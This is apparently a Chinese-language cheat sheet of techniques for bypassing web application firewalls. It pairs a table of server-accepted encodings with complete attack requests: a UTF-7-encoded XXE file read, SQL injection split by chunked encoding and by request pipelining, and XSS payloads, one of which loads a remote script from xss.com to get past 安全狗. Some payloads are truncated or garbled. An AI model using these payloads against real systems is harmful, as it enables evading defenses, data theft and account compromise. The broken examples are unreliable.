目标 | Post(application/x-www-form-urlencoded) 【支持得编码格式,我们可以根据这些不常见得编码格式绕过各种waf】 |
---|---|
Nginx,uWSGI-Django-Python3 | IBM037,IBM500,cp875,IBM1026,IBM273 |
Nginx,uWSGI-Django-Python2 | IBM037,IBM500,cp875,IBM1026,utf-16,utf-32,utf-32BE,IBM424 |
Apache-TOMCAT8-JVM1.8-JSP | IBM037,IBM500,IBM870,cp875,IBM1026,IBM01140,IBM01141,IBM01142,IBM01143,IBM01144,IBM01145,IBM01146,IBM01147,IBM01148,IBM01149,utf-16,utf-32,utf-32BE,IBM273,IBM277,IBM278,IBM280, IBM284,IBM285,IBM290,IBM297,IBM420,IBM424,IBM-Thai,IBM871,cp1025 |
Apache-TOMCAT7-JVM1.6-JSP | IBM037,IBM500,IBM870,cp875,IBM1026,IBM01140,IBM01141,IBM01142,IBM01143,IBM01144,IBM01145,IBM01146,IBM01147,IBM01148,IBM01149,utf-16,utf-32,utf-32BE,IBM273,IBM277,IBM278,IBM280, IBM284,IBM285,IBM297,IBM420,IBM424,IBM-Thai,IBM871,cp1025 |
Apache -PHP5(mod_php和FastCGI) | None |
IIS8-PHP7.1-FastCGI | None |
IIS6、7.5、8、10 -ASP经典 | None |
IIS6、7.5、8、10 -ASPX(v4.x) | IBM037,IBM500,IBM870,cp875,IBM1026,IBM01047,IBM01140,IBM01141,IBM01142,IBM01143,IBM01144,IBM01145,IBM01146,IBM01147,IBM01148,IBM01149,utf-16,unicodeFFFE,utf-32,utf-32BE,IBM273,IBM277, IBM278,IBM280,IBM284,IBM285,IBM290,IBM297,IBM420,IBM423,IBM424,x-EBCDIC-KoreanExtended,IBM-Thai,IBM871,IBM880,IBM905,IBM00924,cp1025 |
编码绕过WAF
在xxe攻击中,以下攻击被WAF拦截
POST /bWAPP/xxe-2.php HTTP/1.1 Host: 192.168.1.101 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-type: text/xml; charset=UTF-8 Content-Length: 228 Connection: close Cookie: security_level=0; PHPSESSID=605bac73f50d32d09e96fd20a3df17e8 <?xml version="1.0" encoding="UTF-7"?> <!DOCTYPE copyright[ <!ENTITY test SYSTEM "/etc/password"> ]> <reset> <login>&test;</login> <secret>login</secret> </reset>
对关键payload进行utf-7编码,成功绕过
POST /bWAPP/xxe-2.php HTTP/1.1 Host: 192.168.1.101 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-type: text/xml; charset=UTF-8 Content-Length: 228 Connection: close Cookie: security_level=0; PHPSESSID=605bac73f50d32d09e96fd20a3df17e8 <?xml version="1.0" encoding="UTF-7"?> <!DOCTYPE copyright[ ADwAIQBFAE4AVABJAFQAWQAgAHQ-e AHMAdAAgAFMAWQBTAFQARQBNACAAIAAiAC8-e AHQAYwAvAHAAYQBzAHMAdwBvAHI-d ACIAPg- ]> <reset> <login>&test;</login> <secret>login</secret> </reset>
Chunked 绕过WAF
在进行测试时候发现下面这段请求被拦截,很明显带有注入特征
POST /sample.aspx?input0=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41 input1='union all select * from users--
在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。
POST /sample.aspx?input0=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 110 Transfer-Encoding: chunked 5; input 4; 1='u 5; nion 4; all 5; selec 4; t * 4; from 5; user 3; s-- 0
pipline绕过WAF
原始请求带有明显特征被拦截
GET /sample.aspx?input0=something&input1='union all select * from users-- HTTP/1.1 HOST: victim.com
http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包,其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。 下面请求包可能存在绕过:
GET / HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection:keep-alive GET / HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection:keep-alive GET / HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection:keep-alive GET / HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection:keep-alive GET /sample.aspx?input0=something&input1='union all select * from users-- HTTP/1.1 HOST: victim.com
xss编码绕过WAF
原始请求带有明显特征被拦截
GET /192.168.3.108/Less-1/index.php?id=<svg/onload=alert()> HTTP/1.1 HOST: victim.com
对关键payload进行unciode编码,成功绕过
GET //192.168.3.108/Less-1/index.php?id=
或者对关键payload进行url编码
GET //192.168.3.108/Less-1/index.php?id=<img/ /src=x /onerror=alert(1)> HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection:keep-alive
marquee标签构造XSS站点 bypass 安全狗
GET 192.168.3.108/Less-1/index.php?id=
img标签构造XSS站点 bypass 安全狗
GET 192.168.3.108/Less-1/index.php?id=<img/ /src=x /onerror=document.body.appendChild(document.createElement('scripx74')).src=`https://xss.com/`> HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection:keep-alive